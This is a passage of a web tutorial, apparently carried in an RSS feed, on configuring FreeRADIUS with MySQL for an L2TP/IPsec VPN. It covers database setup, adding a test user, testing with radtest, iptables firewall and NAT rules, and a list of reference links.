&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;[mysqladmin]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;user = root&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;password = password_here&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Create the  &lt;code&gt;radius&lt;/code&gt;  database, using the schema given in  &lt;code&gt;/usr/share/doc/freeradius/examples/db_mysql.sql.gz&lt;/code&gt; .&lt;/p&gt;
&lt;h3 id=&quot;note-3&quot;&gt;Note&lt;/h3&gt;
&lt;p&gt;It may be necessary to modify the column definition of  &lt;code&gt;id&lt;/code&gt;  in the  &lt;code&gt;nas&lt;/code&gt;  table, removing  &lt;code&gt;DEFAULT &apos;0&apos;&lt;/code&gt;  such that the definition reads:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;id int(10) NOT NULL auto_increment&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As follows:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;$ mysqladmin create radius&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;$ mysql radius&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;mysql&gt; source db_mysql.sql&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;mysql&gt; GRANT ALL ON * TO &apos;radius&apos;@&apos;localhost&apos; IDENTIFIED BY &apos;radius_password&apos;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;All the configuration is now done. Let’s add a user to our VPN database.&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;$ mysql radius&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;mysql&gt; INSERT INTO radcheck values (0, &quot;test&quot;, &quot;User-Password&quot;, &quot;==&quot;, &quot;1234&quot;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We have now created a user in the database of username  &lt;code&gt;test&lt;/code&gt;  and password  &lt;code&gt;1234&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Testing the RADIUS setup is simple using the &lt;code&gt;radtest&lt;/code&gt; utility provided with it.&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;radtest&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Usage: radtest user passwd radius-server[:port] nas-port-number secret [ppphint] [nasname]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;radtest test 1234 192.168.0.1 1812 my_secret&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;radtest&lt;/code&gt; sends an Access-Request to the RADIUS server and expects an &lt;code&gt;Access-Accept&lt;/code&gt; back from it. If you’re not getting an &lt;code&gt;Access-Accept&lt;/code&gt; from the RADIUS you’re advised to check the configuration again and see what you might have missed.&lt;/p&gt;
&lt;h4 id=&quot;firewall-configuration&quot;&gt;Firewall Configuration&lt;/h4&gt;
&lt;p&gt;We need to apply a few things to iptables configuration and kernel networking.&lt;/p&gt;
&lt;p&gt;First off, we need to accept VPN-specific packets through the firewall. Of course you will have to adjust the rules to fits you needs, in this case, ppp0 is the Internet interface.&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;$ iptables --append INPUT --in-interface  ppp0 -p udp --dport 1701 -j ACCEPT&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;$ iptables --append INPUT --in-interface  ppp0 -p udp --dport 500 -j ACCEPT&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;$ iptables --append INPUT --in-interface  ppp0 -p udp --dport 4500 -j ACCEPT&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;$ iptables --append INPUT --in-interface  ppp0 -p 50 -j ACCEPT&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you haven’t setup your Linux box as a gateway yet then you have to allow forwarding/masqing for the boxes on the LAN (and therefore for the VPN clients):&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;$ iptables --table nat --append POSTROUTING --out-interface ppp0 -j MASQUERADE&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;$ iptables --append FORWARD --in-interface eth0 -j ACCEPT&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;$ echo 1 &gt; /proc/sys/net/ipv4/ip_forward&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;
&lt;p&gt;VPN Reference&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.jacco2.dds.nl/networking/freeswan-l2tp.html&quot;&gt;http://www.jacco2.dds.nl/networking/freeswan-l2tp.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;L2TPns Project&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://l2tpns.sourceforge.net/&quot;&gt;http://l2tpns.sourceforge.net&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;OpenSWAN Project&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.openswan.org/&quot;&gt;http://www.openswan.org&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;liran-tal&quot;&gt;Liran Tal&lt;/h3&gt;
&lt;p&gt;&amp;#x3C;&lt;a href=&quot;mailto:liran@enginx.com&quot;&gt;liran@enginx.com&lt;/a&gt;&gt;&lt;/p&gt;
&lt;h3 id=&quot;yakov-shtutz&quot;&gt;Yakov Shtutz&lt;/h3&gt;
&lt;p&gt;Special thanks&lt;/p&gt;
&lt;h3 id=&quot;shahar-fermon&quot;&gt;Shahar Fermon&lt;/h3&gt;
&lt;p&gt;Testing and feedback&lt;/p&gt;</content:encoded></item></channel></rss>